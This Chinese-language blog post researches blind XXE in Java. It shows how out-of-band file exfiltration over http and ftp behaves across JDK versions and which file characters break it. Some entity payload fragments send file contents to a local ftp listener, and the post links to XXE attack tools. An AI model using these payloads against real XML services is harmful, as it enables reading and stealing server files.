9102年Java里的XXE
之前写过一篇 XXE 的防御,想来过去一年了,只验证可行性和防御措施,实际攻击还没有尝试过,尝试过程遇到无数个坑,这里做一个详细的总结。9102 年了,Java 里的 XXE 危害降低了不少。
本文出现的全部代码在 https://github.com/LeadroyaL/java_xxe_2019
一、背景
最近学习 web 常见 exp 的写法,起手就是一个xxe,但被坑了三天都没有读文件成功,最后发现高版本的 java 使用 url 进行信息外带时,url 里禁止使用 \n ,做了一些研究。
本文只讨论Blind XXE,即没有回显,需要使用 oob 来外带数据。
二、基础知识
1、使用xxe测试java里支持的协议
见LocalEntityDemo.java,成功在xml里使用file协议读文件,并且作为xml内容回显出来。
1 | <?xml version="1.0" encoding="utf-8" ?> |
1 | public class LocalEntityDemo { |
2、java 里支持的协议
首先,找个不存在协议,用来测试
这个名为junk的协议不存在,并且给出了堆栈,因此可以方便地找到 java 支持的所有协议。
它是在 sun.net.www.protocol 下寻找Handler 的,通过查看rt.jar ,共支持如下几个协议:
sun.net.www.protocol.file.FileURLConnection a;
file 协议读本地文件
sun.net.www.protocol.ftp.FtpURLConnection b;
ftp 协议获取远程文件
sun.net.www.protocol.http.HttpURLConnection c;
http 协议获取远程文件
sun.net.www.protocol.https.HttpsURLConnectionImpl d;
https 协议获取远程文件
sun.net.www.protocol.jar.JarURLConnection e;
jar 协议获取本地或者远程的 zip 文件,并且阅读其中某个Entry的内容,如果是目录,则返回空字符串,如果是文件,就返回文件的内容
sun.net.www.protocol.mailto.MailToURLConnection f;
mailto 协议,没什么鬼用
sun.net.www.protocol.netdoc.Handler g;
netdoc 协议,与 file 协议功能非常像,可以少写一个斜杠
没有特别骚的协议,都是常见的,我们可以使用http和ftp进行oob,使用file和netdoc读文件。
3、几种无效的 payload
具体细节我不知道,我只知道如下的三种 payload 是无效的
错误 payload:
1 | <?xml version="1.0" encoding="utf-8" ?> |
服务器收到的是 GET /%s1 ,没有被转为文件内容
错误 payload:将 oob写在同一个文件里
1 | <?xml version="1.0" encoding="utf-8" ?> |
报错,不在内部引用 [Fatal Error] step1.xml:4:86: 参数实体引用 "%file;" 不能出现在 DTD 的内部子集中的标记内。
错误 payload:step2.dtd 里注册方法时使用了百分号(按理说要使用&;来转义)
1 | <!ENTITY % file SYSTEM "file:///Users/leadroyal/Java_code/java_xxe_2019/line.txt"> |
[Fatal Error] step2.xml:2:30: 在参数实体引用中, 实体名称必须紧跟在 '%' 后面。
三、实验步骤
1、使用http 读单行文件成功,多行文件失败,见github的ExternalEntityDemo1 和 LocalHttpServer
环境:win10+jdk8u172
读单行文件成功
读多行文件失败,因为存在\n
2、使用ftp 读单行文件成功,多行文件失败,见github的 ExternalEntityDemo2 和 LocalFtpServer
环境:win10+jdk8u172
读单行文件成功
读多行文件失败,没有传输有效的数据并且报错
3、低版本ftp 读多行文件成功
环境:mac+jdk8u121
这时候我拿出了 Mac,之前装的是8u121 版,攻击成功,返回来两行内容。 同样,我在7u80 版,也攻击成功,目前官网上下到的 jdk7 就是这个版本。
三、Java版本与ftp攻击的关系
18年7月,在微信sdk 的XXE 被公开时,对内渗透测试,我记得很清楚攻击成功了,一年过去了,我再次渗透测试,居然失败了。百思不得其解,综合上面的测试,猜测是高版本改进了 ftp 进行 oob 时的逻辑。
对比一下7u80 和 8u172的代码(我手头就这两个版本)
同样的地方,8u172 加了限制,图片里字符串中包含一个换行,程序终止。
我的mac也是Java8,但是攻击成功了,那么到底是哪个版本开始加的这个限制呢?
刚好在另一篇文章中看到,有大佬提到过 https://www.angelwhu.com/blog/?p=513 ,多行文件读取和操作系统有关的问题,很可惜,这位大佬没有深究,下面是原文引用:
“这里说明下,在windows环境中我成功读取多行内容,但在linux环境中失败了,因此没有考这个知识点。”
这里略过无数句对 oracle-jdk 和 openjdk 的商业化和版权的吐槽,导致找源码越来越费劲,好在经过一番努力,在 openjdk 源码里翻到了细节,没有具体 commit,只有大致的版本号。
Java7
在7u141修的,但我没找到下载链接,只找到了 ReleaseNote
https://www.oracle.com/technetwork/java/javaseproducts/documentation/javase7supportreleasenotes-1601161.html#R170_141 ,在18年3月对 FTPClient 做了校验。
Java8
在8u162 修的,同样也没找到下载链接,但和预期是一致的。
因此,使用ftp 进行 oob 时,对版本有限制, <7u141 和 <8u162 才可以读取整个文件。
四、对文件内容的要求
测试过程中,发现攻击成功与否与文件里的内容也有关,有两方面注意的: 一方面是在外部实体进行注入时,字符串会拼接上文件内容,文件内容会造成括号的闭合和非预期; 另一方面是 Java 代码处理URL 时,会根据协议遇到某些字符时会有额外的逻辑,例如 FTP 遇到斜杠符号表示cd到子目录。
第一类特殊符号【 % & " '】见github的bad_char1.txt
【%】 会被认为是实体的一部分,程序抛出异常并且终止。
【&】 会被认为是实体的一部分,程序抛出异常并且终止。
【"】 会与 <!ENTITY % define_ftp '<!ENTITY % send_ftp SYSTEM "ftp://localhost:2121/%file;">'>
中的引号闭合,遇到的话就使用斜杠转义。
【'】 会与 <!ENTITY % define_ftp '<!ENTITY % send_ftp SYSTEM 'ftp://localhost:2121/%file;'>'>
中的引号闭合,遇到的话就使用双引号。
所以被读取的文件不能含有 【%】 【&】 ,也不能同时含有 【"】和 【'】。
第二类特殊符号 【 / ? \n \r #】见github的bad_char2.txt
【/】 在 URL 里作为路径分割符,http 时没有区别,ftp 时候会让发出的指令发生改变,使用样例 aaa/bbb/ccc/def如下图所示。
可以看到,调试信息中,filename和pathname分开了,按照最后一个斜杠位置来分割。
【?】 是 URL 的关键词,后面的认为是参数,对 http 无影响,对ftp 会形成截断,后续内容不会传输。
【\n】 , 【\r】 在 URL 中会被替换为【\n】,作为换行符处理,对 http 有影响,直接拒绝请求的发送,低版本 ftp 无影响,高版本会触发上文说的检测。
【#】 在URL会被认为是锚点,在http/ftp发包时,不会外带后面的内容,这个可能是URL的一个规范。
五、结论
所有的【\r】 都会被替换为【\n】
如果不包含特殊字符,低版本 ftp 可以读多行文件,高版本 ftp 只可以读单行文件,全版本 http 都只可以读单行文件。
版本限制是 <7u141 和 <8u162 才可以读取整个文件。
如果含有特殊字符 【%】 【&】 会完全出错。
如果含有特殊字符 【'】 【"】 可以稍微绕过。
如果含有特殊字符 【?】,对 http 无影响,对 ftp 会造成截断。
如果含有特殊字符【/】, 对 http 无影响,对 ftp 需要额外增加解析的 case。
如果含有特殊字符【#】,会造成截断。
六、参考链接
https://xz.aliyun.com/t/3357 K0rz3n详细介绍 XXE的先知文章
https://www.angelwhu.com/blog/?p=513 ddctf2018提到多行文件读取可能成功可能失败的情况
https://github.com/enjoiz/XXEinjector 比较全的工具合集,但在本文的案例中并没有发挥作用
https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb 收ftp-oob的ruby脚本,在本文中出现过,缺少对数据的处理。